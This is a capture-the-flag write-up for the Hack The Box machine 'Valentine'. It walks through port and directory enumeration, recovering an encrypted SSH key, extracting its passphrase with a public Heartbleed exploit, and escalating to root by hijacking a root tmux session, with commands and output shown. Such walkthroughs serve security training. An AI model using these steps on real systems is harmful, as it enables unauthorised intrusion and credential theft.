Welcome back hackers!! Today we will be attacking Valentine. Its an easy rated machine. So lets get going.

### **Enumeration**

```
OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol
22/tcp open ssh
2.0)
| ssh-hostkey:
   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
__ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/cou
| Issuer:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/col
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
| MD5:
        a413 c4f0 b145 2154 fb54 b2de c7a9 809d
|_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1
_ssl-date: 2021-10-28T15:59:33+00:00; +3s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Reviewing the certificate, we come across virtual host name which we add to our hosts file.

```
127.0.0.1 localhost
127.0.1.1 kali
10.129.215.131 valentine.htb
```

We will be enumerating webserver as we dont have any credentials for ssh access. Also, the openssh version is vulnerable to username enumeration. We will keep that information in our backpocket for now.

### Port 80/443

Home page contains just an image of a lady.



Now lets try to brute force directories using gobuster. You can use any directory brute forcing tool. It depends on your preference. These were the directories which were returned by gobuster. Lets go and inspect them one by one.

The dev folder contains a key and notes file.

# Index of /dev

<u>Name</u>	<u>Last modified</u>	Size Description

Parent Directory

hype\_key 13-Dec-2017 16:48 5.3K

notes.txt 05-Feb-2018 16:42 227

Apache/2.2.22 (Ubuntu) Server at valentine.htb Port 80

Contents of notes.txt and hype\_key:

To do:

- 1) Coffee.
- Research.
- Fix decoder/encoder before going live.
- 4) Make sure encoding/decoding is only done client-side.
- 5) Don't use the decoder/encoder until any of this is done.
- Find a better way to take notes.

Reading the notes we can infer that the encoding and decoding is happening at server side that means if we send a malicious encoded payload, we might get a shell. Lets see whether our hypothesis is true or not. But first lets decode the key which was present in dev folder.

```
52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55
62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47
35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76
4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b
63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72
73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59
42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65
71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39
6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65
2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45
57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e
4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a
79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d
5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f
78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d
41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d
```

start: 1765

end: 1765 length: 0

----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4, ENCRYPTED

Output

DEK-Info: AES-128-CBC, AEB88C140F69BF2074788DE24AE48D46

DbPr078kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJc0FH+9RJDBC5UJMUS1/gjB/7/My00Mwx+a16 0EI0Sb0YUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXiEbw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P 0XBKNe6l17hKaT6wFnp5eX0aUIHvHnv06ScHVWRrZ70fcpcpimL1w13Tgdd2AiGdpHLJpYUII5Pu06x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k1SHQdWwFwaXbYyT1uxAMSl5Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+Ep0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC016jLFD2ka0Lfuyee0fYCb7GTq0e7EmMB3fGIwSdW80C8NWTkwpjc0ELblUa6ul0t9grSosRTCsZd140Pts4bLspKxMM0sgnKloXvnlP0SwSpWy9Wp6y8XX8+F40rxl5XqhDUBhyk1C3YP0iDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK

Wow, it's a private key of a user which we dont know yet. So our next step should be to find any potential user and then we can use this key to login as that user. Also, it is an encrypted key so we will be requiring a passphrase when we use this key to login.

Inspecting the encode page, if we give any string it will encode using base64 and give the output:

Your input: hello Your encoded input: aGVsbG8= Nothing worked. So at this point I ran nmap script "vuln" to see if there are any vulnerabilities associated with open ports. And voila!! SSL is vulnerable to heartbleed vulnerability. Immediately I searcshploited heartbleed and it returned a couple of exploits I can choose from.

```
r—(root⊕kali)-[/home/rishabh/HTB/Valentine]
__# searchsploit heartbleed
Exploit Title
 Path
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
(Multiple | multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1)
| multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS
Support) | multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
| multiple/remote/32745.py
Shellcodes: No Results
```

I used the last exploit and it was simple to run. Run with python2 and also give the IP address. It will extract all the information from the memory. luckily I got an encoded text which was this:

```
ython <u>32745.pv</u> $IP
onnecting ...
ending Client Hello ...
aiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 885
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
ending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
eceived heartbeat response:
 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C
                                                          .a....sc[ ... r ...
 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90
                                                          .+..H...9.....
 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0
                                                          .w.3....f....
 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00
 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0
 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00
 0060: 9A 00 99 00 45
                      00 44 C0 0E
                                  CØ Ø4 ØØ
                                           2F
                                               00
                                                  96 00
                                                          ....E.D..../ ...
 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00
 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01
 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00
 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00
 00d0: 10 00 11 00 23
                      00 00 00 0F
                                  00 01 01 30
                                              2E
                                                  30 2E
                                                          ....#......0.0.
 00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F
                                                         1/decode.php..Co
 00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C
                                                         ntent-Type: appl
 0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77
                                            77
                                               2D 66 6F
                                                         ication/x-www-fo
 0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65
                                           64
                                               ØD.
                                                  0A 43
                                                         rm-urlencoded .. C
 0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A
                                                  20 34
 0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56
                                                          ....$text=aGVhc
 0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C
                                                  6C 64
                                                          RibGVlZGJlbGlld
 0150: 6D 56 30 61 47
                      56 6F
                            65 58 42 6C 43 67
                                               3D
                                                  3D ØB
                                                          V0aGVoeXBlCg=.
 0160: 4E BB 37 7D 03 1F 07 51 7A 50 41 72 B2 4D B9 75
                                                          .7}...OzPAr.M.i
```

After decoding this text, it seems it is the passphrase for that encrypted key.

```
r—(root@kali)-[/home/rishabh/HTB/Valentine]
└# echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype
```

Lets try this passphrase and gain access to the machine

### **Initial Foothold**

We used this passphrase and we got ssh access as the user hype

```
root kali)-[/home/rishabh/HTB/Valentine]

# ssh -i key hype@$IP
Enter passphrase for key 'key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

* Documentation: https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:∼$ ls

Desktop Documents Downloads Music Pictures Public Templates Videos
```

## **Privilege Escalation**

I simply transferred lineas and it ran like a flash. It highlighted kernel version as a possible vector and also a tmux session was running as a root user. I referred this article how to do privilege escalation using tmux: <a href="https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0">https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0</a>

Simply run and you will enter into a root session.

```
hype@Valentine:/tmp$ tmux -S /.devs/dev_sess
```

Voila!! That was a easy machine overall. I learned about a new vulnerability heartbleed which was fun to exploit. Lets meet tomorrow for another machine..